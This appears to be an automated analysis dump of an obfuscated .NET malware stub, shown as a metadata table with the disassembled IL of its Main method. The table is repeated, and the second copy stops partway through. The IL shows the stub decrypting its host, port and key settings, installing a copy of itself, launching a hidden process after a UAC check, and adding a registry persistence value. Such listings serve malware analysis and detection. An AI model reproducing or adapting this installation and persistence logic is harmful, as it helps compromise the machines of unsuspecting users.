| Module Name |
|
| Full Name |
|
| EntryPoint |
System.Void Stub.Main::Main() |
| Scope Name |
|
| Scope Type |
|
| Kind |
|
| Runtime Version |
|
| Tables Header Version |
|
| WinMD Version |
|
| Assembly Name |
|
| Assembly Version |
|
| Assembly Culture |
|
| Has PublicKey |
|
| PublicKey Token |
|
| Target Framework |
|
| Total Strings |
|
| Main Method |
System.Void Stub.Main::Main() |
| Main IL Instruction Count |
|
| Main IL |
ldsfld System.Char[] Stub.ProcessCritical::Ⴄ
stloc.s V_18
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
ldc.i4 473
ldc.i4 475
call System.Void Stub.AlgorithmAES::Ⴀ(System.Int32,System.Int32,System.Int32)
ldc.i4.7 <null>
stloc.s V_13
ldloc.s V_13
switch dnlib.DotNet.Emit.Instruction[]
ldsfld System.String Settings::Hosts
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 374
ldc.i4 292
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
stsfld System.String Settings::Hosts
ldsfld System.String Settings::Port
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 1002
ldc.i4 952
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
stsfld System.String Settings::Port
ldc.i4.0 <null>
stloc.s V_13
br.s IL_0024: ldloc.s V_13
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 303
ldc.i4 381
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
stsfld System.String Settings::KEY
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 566
ldc.i4 612
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
stsfld System.String Settings::SPL
ldc.i4.1 <null>
stloc.s V_13
br IL_0024: ldloc.s V_13
ldsfld System.String Settings::Groub
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 513
ldc.i4 595
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
stsfld System.String Settings::Groub
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4.s 44
ldc.i4.s 126
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
stsfld System.String Settings::USBNM
ldc.i4.2 <null>
stloc.s V_13
br IL_0024: ldloc.s V_13
ldsfld System.String Settings::InstallDir
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4.s 17
ldc.i4.s 67
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
ldc.i4 807
ldc.i4 889
call System.String Stub.Messages/ႥႨ::Ⴗ<System.String>(System.String,System.Int16,System.Char)
stsfld System.String Settings::InstallDir
ldc.i4.6 <null>
stloc.s V_13
br IL_0024: ldloc.s V_13
ldsfld System.String Settings::InstallStr
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 742
ldc.i4 692
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
stsfld System.String Settings::InstallStr
leave.s IL_0193: ldc.i4.5
dup <null>
ldc.i4 151
ldc.i4 230
call System.Void Stub.Messages/ႥႨ::Ⴓ<System.Exception>(System.Exception,System.Int16,System.Char)
stloc.3 <null>
ldc.i4.0 <null>
ldc.i4 721
ldc.i4 722
call System.Void Stub.AlgorithmAES::Ⴀ(System.Int32,System.Int32,System.Int32)
ldc.i4 449
ldc.i4 460
call System.Void Stub.Uninstaller::Ⴄ(System.Int16,System.Int16)
leave.s IL_0193: ldc.i4.5
ldc.i4.5 <null>
stloc.s V_15
ldloc.s V_15
switch dnlib.DotNet.Emit.Instruction[]
call System.Boolean Ⴍ.Ⴗ::Ⴃ()
brtrue.s IL_01C5: ldc.i4.0
ldc.i4.2 <null>
stloc.s V_15
br.s IL_0196: ldloc.s V_15
ldc.i4.0 <null>
br.s IL_01C1: stloc.s V_15
ldc.i4.0 <null>
ldc.i4 354
ldc.i4 353
call System.Void Stub.AlgorithmAES::Ⴀ(System.Int32,System.Int32,System.Int32)
call System.Void Stub.Main::Exclusion()
ldsfld System.String Settings::InstallDir
ldnull <null>
ldnull <null>
ldc.i4.3 <null>
ldc.i4 621976985
call System.String My.MyApplication::Ⴈ(My.MyApplication,System.String,System.Int32,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4 368
ldc.i4 364
call System.String Stub.Messages::Ⴗ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Int32,System.Int16)
stloc.0 <null>
ldc.i4.5 <null>
stloc.s V_17
ldloc.s V_17
switch dnlib.DotNet.Emit.Instruction[]
ldloc.0 <null>
isinst System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
ldc.i4 371
ldc.i4 324
call System.IO.DirectoryInfo My.MyApplication::ႤႭ<System.IO.FileInfo>(System.IO.FileInfo,System.Char,System.Char)
ldc.i4 995
ldc.i4 901
call System.String Stub.Messages/ႥႨ::ႨႷ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Int32,System.Int16)
stloc.s V_4
ldc.i4.8 <null>
stloc.s V_17
br.s IL_0207: ldloc.s V_17
ldloc.s V_4
ldc.i4 744
ldc.i4 698
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
ldc.i4 166
ldc.i4 188
call System.Boolean Stub.AlgorithmAES::ႠႤ<System.String>(System.String,System.Char,System.Int32)
ldsfld System.Char[] Stub.ProcessCritical::Ⴄ
ldc.i4 192
ldsfld System.Char[] Stub.ProcessCritical::Ⴄ
ldc.i4 192
ldelem.u2 <null>
ldsfld System.Char[] Stub.ProcessCritical::Ⴄ
ldc.i4 136
ldelem.u2 <null>
sub <null>
ldc.i4.s 35
and <null>
stelem.i2 <null>
brtrue.s IL_02B5: ldloc.s V_18
ldc.i4.2 <null>
stloc.s V_17
br IL_0207: ldloc.s V_17
ldloc.s V_18
ldc.i4 167
ldelem.u2 <null>
ldc.i4 33022
sub <null>
br.s IL_02AE: stloc.s V_17
ldloc.s V_4
ldc.i4 662
ldc.i4 708
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
ldc.i4 542
ldc.i4 625
call System.IO.DirectoryInfo My.MyApplication::ႤႠ<System.String>(System.String,System.Int32,System.Char)
pop <null>
ldc.i4.3 <null>
stloc.s V_17
br IL_0207: ldloc.s V_17
ldloc.0 <null>
isinst System.String
ldc.i4.4 <null>
ldc.i4.s 31
call System.Boolean Stub.AlgorithmAES::ႠႤ<System.String>(System.String,System.Char,System.Int32)
brfalse.s IL_0306: ldc.i4.1
ldc.i4.0 <null>
stloc.s V_17
br IL_0207: ldloc.s V_17
ldc.i4.1 <null>
br.s IL_02FF: stloc.s V_17
ldloc.0 <null>
isinst System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_5
ldloc.s V_5
isinst System.IO.FileInfo
ldc.i4 233
ldc.i4 229
call System.Void My.MyApplication::ႤႼ<System.IO.FileInfo>(System.IO.FileInfo,System.Char,System.Char)
ldc.i4 1000
ldc.i4 314
ldc.i4 312
call System.Void Stub.AlgorithmAES::Ⴀ(System.Int32,System.Int32,System.Int32)
ldloc.0 <null>
isinst System.String
ldsfld System.String Ⴍ.Ⴗ::Ⴈ
ldc.i4 587
ldc.i4 598
call System.Byte[] My.MyComputer::ႳႣ<System.String>(System.String,System.Char,System.Char)
ldc.i4 226
ldc.i4 184
call System.Void My.MyComputer::Ⴓ<System.String>(System.String,System.Byte[],System.Int32,System.Int32)
leave.s IL_038E: ldc.i4.7
dup <null>
ldc.i4 283
ldc.i4 362
call System.Void Stub.Messages/ႥႨ::Ⴓ<System.Exception>(System.Exception,System.Int16,System.Char)
stloc.s V_6
ldc.i4 791
ldc.i4 794
call System.Void Stub.Uninstaller::Ⴄ(System.Int16,System.Int16)
leave.s IL_038E: ldc.i4.7
ldc.i4.7 <null>
stloc.s V_20
ldloc.s V_20
switch dnlib.DotNet.Emit.Instruction[]
ldnull <null>
ldnull <null>
ldc.i4.6 <null>
ldc.i4 621975808
call System.String My.MyApplication::Ⴈ(My.MyApplication,System.String,System.Int32,System.Int32)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.s V_8
ldloc.s V_8
isinst System.Diagnostics.ProcessStartInfo
ldc.i4.1 <null>
ldc.i4 802
ldc.i4 801
call System.Void Stub.AlgorithmAES::Ⴐ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Diagnostics.ProcessWindowStyle,System.Int16,System.Int32)
ldc.i4.1 <null>
stloc.s V_20
br.s IL_0391: ldloc.s V_20
call System.String Stub.ClientSocket::UAC()
ldc.i4 650
ldc.i4 662
call System.Boolean Stub.AlgorithmAES::ႠႤ<System.String>(System.String,System.Char,System.Int32)
brfalse.s IL_0407: ldc.i4.0
ldc.i4.8 <null>
stloc.s V_20
br.s IL_0391: ldloc.s V_20
ldc.i4.0 <null>
br.s IL_0403: stloc.s V_20
ldloc.s V_8
isinst System.Diagnostics.ProcessStartInfo
ldc.i4.5 <null>
newarr System.String
stloc.s V_11
ldloc.s V_11
isinst System.String[]
ldc.i4.0 <null>
ldnull <null>
ldnull <null>
ldc.i4.4 <null>
ldc.i4 621975928
call System.String My.MyApplication::Ⴈ(My.MyApplication,System.String,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_11
isinst System.String[]
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
ldc.i4 816
ldc.i4 877
call System.String Stub.Messages/ႥႨ::Ⴗ<System.String>(System.String,System.Int16,System.Char)
stelem.ref <null>
ldloc.s V_11
castclass System.String[]
ldc.i4.2 <null>
ldnull <null>
ldnull <null>
ldc.i4.6 <null>
ldc.i4 621975768
call System.String My.MyApplication::Ⴈ(My.MyApplication,System.String,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_11
isinst System.String[]
ldc.i4.3 <null>
ldloc.0 <null>
isinst System.String
stelem.ref <null>
ldloc.s V_11
isinst System.String[]
ldc.i4.4 <null>
ldnull <null>
ldnull <null>
ldc.i4.3 <null>
ldc.i4 621976037
call System.String My.MyApplication::Ⴈ(My.MyApplication,System.String,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_11
castclass System.String[]
ldc.i4.s 101
ldc.i4.s 36
call System.String Stub.Uninstaller::Ⴓ(System.String[],System.Int32,System.Int16)
ldc.i4 532
ldc.i4 524
call System.Void Stub.Messages/ႥႨ::ႨႨ<System.Diagnostics.ProcessStartInfo,System.String>(System.Diagnostics.ProcessStartInfo,System.String,System.Int32,System.Int16)
ldc.i4.2 <null>
stloc.s V_20
br IL_0391: ldloc.s V_20
ldloc.s V_8
castclass System.Diagnostics.ProcessStartInfo
ldc.i4.5 <null>
newarr System.String
stloc.s V_11
ldloc.s V_11
isinst System.String[]
ldc.i4.0 <null>
ldnull <null>
ldnull <null>
ldc.i4.8 <null>
ldc.i4 621975798
call System.String My.MyApplication::Ⴈ(My.MyApplication,System.String,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_11
isinst System.String[]
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
stelem.ref <null>
ldloc.s V_11
isinst System.String[]
ldc.i4.2 <null>
ldnull <null>
ldnull <null>
ldc.i4.3 <null>
ldc.i4 621975773
call System.String My.MyApplication::Ⴈ(My.MyApplication,System.String,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_11
castclass System.String[]
ldc.i4.3 <null>
ldloc.0 <null>
isinst System.String
stelem.ref <null>
ldloc.s V_11
isinst System.String[]
ldc.i4.4 <null>
ldnull <null>
ldnull <null>
ldc.i4.4 <null>
ldc.i4 621976034
call System.String My.MyApplication::Ⴈ(My.MyApplication,System.String,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_11
isinst System.String[]
call System.String System.String::Concat(System.String[])
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
ldloc.s V_8
castclass System.Diagnostics.ProcessStartInfo
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
stloc.s V_7
ldloc.s V_7
isinst System.Diagnostics.Process
callvirt System.Void System.Diagnostics.Process::WaitForExit()
leave.s IL_055D: ldc.i4.3
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_9
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_055D: ldc.i4.3
ldc.i4.3 <null>
stloc.s V_22
ldloc.s V_22
switch dnlib.DotNet.Emit.Instruction[]
call My.MyComputer My.MyProject::Ⴐ()
callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry()
callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser()
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4 621977142
call System.String My.MyApplication::Ⴈ(My.MyApplication,System.String,System.Int32,System.Int32)
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
ldsfld System.String Settings::InstallStr
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
ldloc.0 <null>
castclass System.String
callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object)
leave.s IL_05C3: ldc.i4.1
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_10
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_05C3: ldc.i4.1
ldc.i4.1 <null>
stloc.s V_24
ldloc.s V_24
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Ⴍ.Ⴗ::Ⴐ()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
call System.String Stub.ClientSocket::UAC()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse.s IL_0619: ldc.i4.7
ldc.i4.5 <null>
stloc.s V_24
br.s IL_05C6: ldloc.s V_24
ldc.i4.7 <null>
br.s IL_0615: stloc.s V_24
call System.Void Stub.ProcessCritical::CriticalProcess_Enable()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__3()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldc.i4.3 <null>
stloc.s V_24
br IL_05C6: ldloc.s V_24
ldloc.1 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Join()
ret <null>
ldtoken System.Void Stub.Main::Main()
pop <null>
ret <null>
|
| Module Name |
|
| Full Name |
|
| EntryPoint |
System.Void Stub.Main::Main() |
| Scope Name |
|
| Scope Type |
|
| Kind |
|
| Runtime Version |
|
| Tables Header Version |
|
| WinMD Version |
|
| Assembly Name |
|
| Assembly Version |
|
| Assembly Culture |
|
| Has PublicKey |
|
| PublicKey Token |
|
| Target Framework |
|
| Total Strings |
|
| Main Method |
System.Void Stub.Main::Main() |
| Main IL Instruction Count |
|
| Main IL |
ldsfld System.Char[] Stub.ProcessCritical::Ⴄ
stloc.s V_18
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
ldc.i4 473
ldc.i4 475
call System.Void Stub.AlgorithmAES::Ⴀ(System.Int32,System.Int32,System.Int32)
ldc.i4.7 <null>
stloc.s V_13
ldloc.s V_13
switch dnlib.DotNet.Emit.Instruction[]
ldsfld System.String Settings::Hosts
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 374
ldc.i4 292
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
stsfld System.String Settings::Hosts
ldsfld System.String Settings::Port
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 1002
ldc.i4 952
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
stsfld System.String Settings::Port
ldc.i4.0 <null>
stloc.s V_13
br.s IL_0024: ldloc.s V_13
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 303
ldc.i4 381
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
stsfld System.String Settings::KEY
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 566
ldc.i4 612
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
stsfld System.String Settings::SPL
ldc.i4.1 <null>
stloc.s V_13
br IL_0024: ldloc.s V_13
ldsfld System.String Settings::Groub
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 513
ldc.i4 595
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
stsfld System.String Settings::Groub
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4.s 44
ldc.i4.s 126
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
stsfld System.String Settings::USBNM
ldc.i4.2 <null>
stloc.s V_13
br IL_0024: ldloc.s V_13
ldsfld System.String Settings::InstallDir
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4.s 17
ldc.i4.s 67
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
ldc.i4 807
ldc.i4 889
call System.String Stub.Messages/ႥႨ::Ⴗ<System.String>(System.String,System.Int16,System.Char)
stsfld System.String Settings::InstallDir
ldc.i4.6 <null>
stloc.s V_13
br IL_0024: ldloc.s V_13
ldsfld System.String Settings::InstallStr
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 742
ldc.i4 692
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
stsfld System.String Settings::InstallStr
leave.s IL_0193: ldc.i4.5
dup <null>
ldc.i4 151
ldc.i4 230
call System.Void Stub.Messages/ႥႨ::Ⴓ<System.Exception>(System.Exception,System.Int16,System.Char)
stloc.3 <null>
ldc.i4.0 <null>
ldc.i4 721
ldc.i4 722
call System.Void Stub.AlgorithmAES::Ⴀ(System.Int32,System.Int32,System.Int32)
ldc.i4 449
ldc.i4 460
call System.Void Stub.Uninstaller::Ⴄ(System.Int16,System.Int16)
leave.s IL_0193: ldc.i4.5
ldc.i4.5 <null>
stloc.s V_15
ldloc.s V_15
switch dnlib.DotNet.Emit.Instruction[]
call System.Boolean Ⴍ.Ⴗ::Ⴃ()
brtrue.s IL_01C5: ldc.i4.0
ldc.i4.2 <null>
stloc.s V_15
br.s IL_0196: ldloc.s V_15
ldc.i4.0 <null>
br.s IL_01C1: stloc.s V_15
ldc.i4.0 <null>
ldc.i4 354
ldc.i4 353
call System.Void Stub.AlgorithmAES::Ⴀ(System.Int32,System.Int32,System.Int32)
call System.Void Stub.Main::Exclusion()
ldsfld System.String Settings::InstallDir
ldnull <null>
ldnull <null>
ldc.i4.3 <null>
ldc.i4 621976985
call System.String My.MyApplication::Ⴈ(My.MyApplication,System.String,System.Int32,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4 368
ldc.i4 364
call System.String Stub.Messages::Ⴗ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Int32,System.Int16)
stloc.0 <null>
ldc.i4.5 <null>
stloc.s V_17
ldloc.s V_17
switch dnlib.DotNet.Emit.Instruction[]
ldloc.0 <null>
isinst System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
ldc.i4 371
ldc.i4 324
call System.IO.DirectoryInfo My.MyApplication::ႤႭ<System.IO.FileInfo>(System.IO.FileInfo,System.Char,System.Char)
ldc.i4 995
ldc.i4 901
call System.String Stub.Messages/ႥႨ::ႨႷ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Int32,System.Int16)
stloc.s V_4
ldc.i4.8 <null>
stloc.s V_17
br.s IL_0207: ldloc.s V_17
ldloc.s V_4
ldc.i4 744
ldc.i4 698
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
ldc.i4 166
ldc.i4 188
call System.Boolean Stub.AlgorithmAES::ႠႤ<System.String>(System.String,System.Char,System.Int32)
ldsfld System.Char[] Stub.ProcessCritical::Ⴄ
ldc.i4 192
ldsfld System.Char[] Stub.ProcessCritical::Ⴄ
ldc.i4 192
ldelem.u2 <null>
ldsfld System.Char[] Stub.ProcessCritical::Ⴄ
ldc.i4 136
ldelem.u2 <null>
sub <null>
ldc.i4.s 35
and <null>
stelem.i2 <null>
brtrue.s IL_02B5: ldloc.s V_18
ldc.i4.2 <null>
stloc.s V_17
br IL_0207: ldloc.s V_17
ldloc.s V_18
ldc.i4 167
ldelem.u2 <null>
ldc.i4 33022
sub <null>
br.s IL_02AE: stloc.s V_17
ldloc.s V_4
ldc.i4 662
ldc.i4 708
call System.String My.MyApplication::Ⴗ<System.Object>(System.Object,System.Int32,System.Char)
ldc.i4 542
ldc.i4 625
call System.IO.DirectoryInfo My.MyApplication::ႤႠ<System.String>(System.String,System.Int32,System.Char)
pop <null>
ldc.i4.3 <null>
stloc.s V_17
br IL_0207: ldloc.s V_17
ldloc.0 <null>
isinst System.String
ldc.i4.4 <null>
ldc.i4.s 31
call System.Boolean Stub.AlgorithmAES::ႠႤ<System.String>(System.String,System.Char,System.Int32)
brfalse.s IL_0306: ldc.i4.1
ldc.i4.0 <null>
stloc.s V_17
br IL_0207: ldloc.s V_17
ldc.i4.1 <null>
br.s IL_02FF: stloc.s V_17
ldloc.0 <null>
isinst System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_5
ldloc.s V_5
isinst System.IO.FileInfo
ldc.i4 233
ldc.i4 229
call System.Void My.MyApplication::ႤႼ<System.IO.FileInfo>(System.IO.FileInfo,System.Char,System.Char)
ldc.i4 1000
ldc.i4 314
ldc.i4 312
call System.Void Stub.AlgorithmAES::Ⴀ(System.Int32,System.Int32,System.Int32)
ldloc.0 <null>
isinst System.String
ldsfld System.String Ⴍ.Ⴗ::Ⴈ
ldc.i4 587
ldc.i4 598
call System.Byte[] My.MyComputer::ႳႣ<System.String>(System.String,System.Char,System.Char)
ldc.i4 226
ldc.i4 184
call System.Void My.MyComputer::Ⴓ<System.String>(System.String,System.Byte[],System.Int32,System.Int32)
leave.s IL_038E: ldc.i4.7
dup <null>
ldc.i4 283
ldc.i4 362
call System.Void Stub.Messages/ႥႨ::Ⴓ<System.Exception>(System.Exception,System.Int16,System.Char)
stloc.s V_6
ldc.i4 791
ldc.i4 794
call System.Void Stub.Uninstaller::Ⴄ(System.Int16,System.Int16)
leave.s IL_038E: ldc.i4.7
ldc.i4.7 <null>
stloc.s V_20
ldloc.s V_20
switch dnlib.DotNet.Emit.Instruction[]
ldnull <null>
ldnull <null>
ldc.i4.6 <null>
ldc.i4 621975808
call System.String My.MyApplication::Ⴈ(My.MyApplication,System.String,System.Int32,System.Int32)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.s V_8
ldloc.s V_8
isinst System.Diagnostics.ProcessStartInfo
ldc.i4.1 <null>
ldc.i4 802
ldc.i4 801
call System.Void Stub.AlgorithmAES::Ⴐ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Diagnostics.ProcessWindowStyle,System.Int16,System.Int32)
ldc.i4.1 <null>
stloc.s V_20
br.s IL_0391: ldloc.s V_20
call System.String Stub.ClientSocket::UAC()
ldc.i4 650
ldc.i4 662
call System.Boolean Stub.AlgorithmAES::ႠႤ<System.String>(System.String,System.Char,System.Int32)
brfalse.s IL_0407: ldc.i4.0
ldc.i4.8 <null>
stloc.s V_20
br.s IL_0391: ldloc.s V_20
ldc.i4.0 <null>
br.s IL_0403: stloc.s V_20
ldloc.s V_8
isinst System.Diagnostics.ProcessStartInfo
ldc.i4.5 <null>
newarr System.String
stloc.s V_11
ldloc.s V_11
isinst System.String[]
ldc.i4.0 <null>
ldnull <null>
ldnull <null>
ldc.i4.4 <null>
ldc.i4 621975928
call System.String My.MyApplication::Ⴈ(My.MyApplication,System.String,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_11
isinst System.String[]
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
ldc.i4 816
ldc.i4 877
call System.String Stub.Messages/ႥႨ::Ⴗ<System.String>(System.String,System.Int16,System.Char)
stelem.ref <null>
ldloc.s V_11
castclass System.String[]
ldc.i4.2 <null>
ldnull <null>
ldnull <null>
ldc.i4.6 <null>
ldc.i4 621975768
call System.String My.MyApplication::Ⴈ(My.MyApplication,System.String,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_11
isinst System.String[]
ldc.i4.3 <null>
ldloc.0 <null>
isinst System.String
stelem.ref <null>
ldloc.s V_11
isinst System.String[]
ldc.i4.4 <null>
ldnull <null>
ldnull <null>
ldc.i4.3 <null>
ldc.i4 621976037
call System.String My.MyApplication::Ⴈ(My.MyApplication,System.String,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_11
castclass System.String[]
ldc.i4.s 101
ldc.i4.s 36
call System.String Stub.Uninstaller::Ⴓ(System.String[],System.Int32,System.Int16)
ldc.i4 532
ldc.i4 524
call System.Void Stub.Messages/ႥႨ::ႨႨ<System.Diagnostics.ProcessStartInfo,System.String>(System.Diagnostics.ProcessStartInfo,System.String,System.Int32,System.Int16)
ldc.i4.2 <null>
stloc.s V_20
br IL_0391: ldloc.s V_20
ldloc.s V_8
castclass System.Diagnostics.ProcessStartInfo
ldc.i4.5 <null>
newarr System.String
stloc.s V_11
ldloc.s V_11
isinst System.String[]
ldc.i4.0 <null>
ldnull <null>
ldnull <null>
ldc.i4.8 <null>
ldc.i4 621975798
call System.String My.MyApplication::Ⴈ(My.MyApplication,System.String,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_11
isinst System.String[]
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
stelem.ref <null>
ldloc.s V_11
isinst System.String[]
ldc.i4.2 <null>
ldnull <null>
ldnull <null>
ldc.i4.3 <null>
ldc.i4 621975773
call System.String My.MyApplication::Ⴈ(My.MyApplication,System.String,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_11
castclass System.String[]
ldc.i4.3 <null>
ldloc.0 <null>
isinst System.String
stelem.ref <null>
ldloc.s V_11
isinst System.String[]
ldc.i4.4 <null>
ldnull <null>
ldnull <null>
ldc.i4.4 <null>
ldc.i4 621976034
call System.String My.MyApplication::Ⴈ(My.MyApplication,System.String,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_11
isinst System.String[]
call System.String System.String::Concat(System.String[])
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
ldloc.s V_8
castclass System.Diagnostics.ProcessStartInfo
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
stloc.s V_7
ldloc.s V_7
isinst System.Diagnostics.Process
callvirt System.Void System.Diagnostics.Process::WaitForExit()
leave.s IL_055D: ldc.i4.3
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_9
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_055D: ldc.i4.3
ldc.i4.3 <null>
stloc.s V_22
ldloc.s V_22
switch dnlib.DotNet.Emit.Instruction[]
call My.MyComputer My.MyProject::Ⴐ()
callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry()
callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser()
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4 621977142
call System.String My.MyApplication::Ⴈ(My.MyApplication,System.String,System.Int32,System.Int32)
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
ldsfld System.String Settings::InstallStr
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
ldloc.0 <null>
castclass System.String
callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object)
leave.s IL_05C3: ldc.i4.1
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_10
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_05C3: ldc.i4.1
ldc.i4.1 <null>
stloc.s V_24
ldloc.s V_24
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Ⴍ.Ⴗ::Ⴐ()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
